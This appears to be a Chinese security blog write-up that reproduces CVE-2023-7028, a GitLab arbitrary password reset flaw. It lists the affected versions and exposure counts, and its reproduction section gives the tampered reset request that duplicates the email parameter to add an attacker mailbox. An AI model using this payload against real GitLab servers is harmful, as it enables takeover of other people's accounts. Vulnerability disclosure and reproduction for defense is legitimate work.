漏洞复现 | CVE-2023-7028 GitLab 任意用户密码重置

GitLab 任意用户密码重置漏洞（CVE-2023-7028）

漏洞概述

漏洞概述
漏洞名称	GitLab 密码重置漏洞
漏洞编号	CVE-2023-7028
公开时间	2024-01-12	影响量级	十万级
评级	高危	CVSS 3.1分数	10.0
威胁类型	身份认证绕过	利用可能性	高
POC状态	未公开	在野利用状态	未发现
EXP状态	未公开	技术细节状态	未公开
危害描述：成功利用该漏洞可修改任意用户密码。

漏洞描述：

2024年1月11日，Gitlab官方披露CVE-2023-7028 GitLab 任意用户密码重置漏洞，官方评级严重。攻击者可利用忘记密码功能，构造恶意请求获取密码重置链接从而重置密码。官方已发布安全更新，建议升级至最新版本，若无法升级，建议利用安全组功能设置Gitlab仅对可信地址开放。

漏洞利用条件：
1、需获取系统已有用户注册邮箱地址
2、满足影响版本

16.1 <=GitLab CE<16.1.6
16.2 <=GitLab CE<16.2.8
16.3 <=GitLab CE<16.3.6
16.4 <=GitLab CE<16.4.4
16.5 <=GitLab CE<16.5.6
16.6 <=GitLab CE<16.6.4
16.7 <=GitLab CE<16.7.2
16.1 <=GitLab EE<16.1.6
16.2 <=GitLab EE<16.2.8
16.3 <=GitLab EE<16.3.6
16.4 <=GitLab EE<16.4.4
16.5 <=GitLab EE<16.5.6
16.6 <=GitLab EE<16.6.4
16.7 <=GitLab EE<16.7.2

受影响资产情况：奇安信鹰图资产测绘平台数据显示，GitLab 密码重置漏洞(CVE-2023-7028)关联的国内风险资产总数为1406090个，关联IP总数为147705个

复现过程

这里被找回邮箱为个人注册邮箱地址，真实环境中需先获取目标邮箱地址

访问找回密码页面：/users/password/new

填写被找回邮箱地址，然后点击抓包

修改请求包为：user[email][]=目标邮箱地址&user[email][]=攻击者邮箱地址

成功复现

文章作者：Evilc0de 安全团队

声明：⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤，任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的，否则后果⾃⾏承担。所有渗透都需获取授权！